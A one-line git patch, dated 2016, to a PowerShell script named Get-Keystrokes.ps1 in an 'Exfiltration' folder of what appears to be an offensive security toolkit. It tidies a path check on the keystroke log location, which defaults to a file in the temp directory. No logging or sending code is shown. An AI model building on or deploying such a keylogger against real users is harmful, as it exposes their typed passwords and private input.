From 4ffd3084e41461a518b3f0e5ff2d997261a08250 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Wed, 13 Jan 2016 22:20:05 -0600 Subject: Fixed Pester/PassThru --- Exfiltration/Get-Keystrokes.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'Exfiltration') diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 9e8698c..47761b9 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -40,7 +40,7 @@ function Get-Keystrokes { [CmdletBinding()] Param ( [Parameter(Position = 0)] - [ValidateScript({(Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container)})] + [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})] [String]$LogPath = "$($env:TEMP)\key.log", [Parameter(Position = 1)] -- cgit v1.2.3